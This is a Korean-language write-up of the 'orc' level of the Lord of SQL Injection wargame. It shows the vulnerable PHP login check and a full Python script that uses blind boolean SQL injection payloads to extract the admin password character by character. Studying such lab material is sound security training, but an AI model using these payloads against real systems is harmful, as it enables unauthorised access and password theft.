Contents #
Problem Description and Analysis #
본 문제는 다음과 같이 제시된다[1]:
1<?php
2 include "./config.php";
3 login_chk();
4 $db = dbconnect();
5 if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
6 $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
7 echo "<hr>query : <strong>{$query}</strong><hr><br>";
8 $result = @mysqli_fetch_array(mysqli_query($db,$query));
9 if($result['id']) echo "<h2>Hello admin</h2>";
10
11 $_GET[pw] = addslashes($_GET[pw]);
12 $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
13 $result = @mysqli_fetch_array(mysqli_query($db,$query));
14 if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
15 highlight_file(__FILE__);
16?>
제시된 문제를 살펴보면 두 개의 query가 실행되고 두 번째 query의 결과값과 pw parameter의 값이 같을 때 문제가 풀림을 알 수 있다. 즉, admin의 pw를 알아내야 하고, 이는 첫 번째 query가 성공했을 때 "Hello admin"을 출력하는 코드를 이용하여 유추할 수 있다.
Thanks to daldaguri.
Exploit #
제시된 문제의 pw를 얻는 과정은 다음 세 단계를 거친다:
- Get the length of a pw
- Get the bit length of each character in a pw
- Get the ascii code of each character
첫 단계인 pw의 길이를 얻는 방법은 SQL 함수 중 하나인 length()에 pw를 전달했을 때의 return 값과 일치하는 값을 반복문으로 찾는 것이다.
다음 단계인 pw를 구성하는 각 문자의 비트 길이를 구하는 방법은 첫 단계에서와 비슷하게 length()를 사용한다. 다만, 각 문자의 비트 길이이므로 SQL substr()으로 각 문자를 추출하고 ord()와 bin()으로 비트열을 얻어서 길이를 구해야 한다.
마지막 단계인 각 문자의 아스키 코드 값을 구하는 방법은 이전 단계에서 얻은 비트열 길이에 따른 범위의 값을 bruteforce하는 것이다. 물론, printable character 범위를 각각 지정해서 대입하거나, 앞 단계에서 사용한 방법과 같이 비트열을 이용하는 방법이 있다[2, 3].
지금까지 설명한 것을 코드로 작성하면 다음과 같다 (Cookie 값은 적절한 값으로 수정해야 함에 주의하라):
1import requests
2
3def get_request_response(arg_url, arg_header):
4 response = requests.get(arg_url, headers=arg_header)
5 return response.text
6
7def build_query_pwlen(arg_url, arg_pwlen):
8 query = f"{arg_url}' or id='admin' and length(pw)={arg_pwlen}-- "
9 return query
10
11def get_pwlen(arg_url, arg_header):
12 password_length = 0
13 while True:
14 query_url = build_query_pwlen(arg_url, password_length)
15 query_result = get_request_response(query_url, arg_header)
16 if "<h2>" in query_result:
17 break
18 password_length += 1
19 return password_length
20
21def build_query_bitlen(arg_url, arg_loc, arg_bitlen):
22 query = f"{arg_url}' or id='admin' and length(bin(ord(substr(pw, {arg_loc}, 1))))={arg_bitlen}-- "
23 return query
24
25def get_charset(arg_url, arg_header, arg_pwlen):
26 bit_length = 0
27 bit_length_lst = []
28 for i in range(1, arg_pwlen + 1):
29 bit_length = 0
30 while True:
31 query_url = build_query_bitlen(arg_url, i, bit_length)
32 query_result = get_request_response(query_url, arg_header)
33 if "<h2>" in query_result:
34 bit_length_lst.append(bit_length)
35 break
36 bit_length += 1
37 return bit_length_lst
38
39def build_query_pwchar(arg_url, arg_loc, arg_pwchar):
40 query = f"{arg_url}' or id='admin' and ascii(substr(pw, {arg_loc}, 1))={arg_pwchar}-- "
41 return query
42
43def get_pw(arg_url, arg_header, arg_pwlen, arg_bitlen_lst):
44 password_lst = []
45 for i in range(1, arg_pwlen + 1):
46 for j in range(0, 1 << (arg_bitlen_lst[i - 1] - 1) + 1):
47 query_url = build_query_pwchar(arg_url, i, j)
48 query_result = get_request_response(query_url, arg_header)
49 print(f"query url: {query_url}")
50 if "<h2>" in query_result:
51 print(j)
52 password_lst.append(j)
53 break
54 if j == 1 << (arg_bitlen_lst[i - 1]):
55 print('Not found')
56 break
57 return password_lst
58
59if __name__ == "__main__":
60 url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw='
61 header = { 'cookie': 'PHPSESSID=MyDeAdbEEF' }
62
63 print('---[ Stage 1: Get password length')
64 password_length = get_pwlen(url, header)
65 print(f"Password length: {password_length}\n")
66
67 print('---[ Stage 2: Check character set')
68 bit_length_lst = get_charset(url, header, password_length)
69 print(f"Bit length list: {bit_length_lst}")
70
71 print('---[ Stage 3: Bruteforce password')
72 password_lst = get_pw(url, header, password_length, bit_length_lst)
73 password_string = [chr(x) for x in password_lst]
74 print(f"Password: {password_string}")
References #
- "orc," LORD OF SQLINJECTION. [Online]. Available: https://los.rubiya.kr/gate.php, [Accessed Mar. 07, 2024].
- msh1307, "LORD OF SQL INJECTION ORC 풀이". [Online]. Available: https://msh1307.tistory.com/26, [Accessed Mar. 07, 2024].
- zzsla, "[Lord of SQLInjection]orc write up". [Online]. Available: https://velog.io/@zzsla/Lord-of-SQLInjectionorc-write-up, [Accessed Mar. 07, 2024].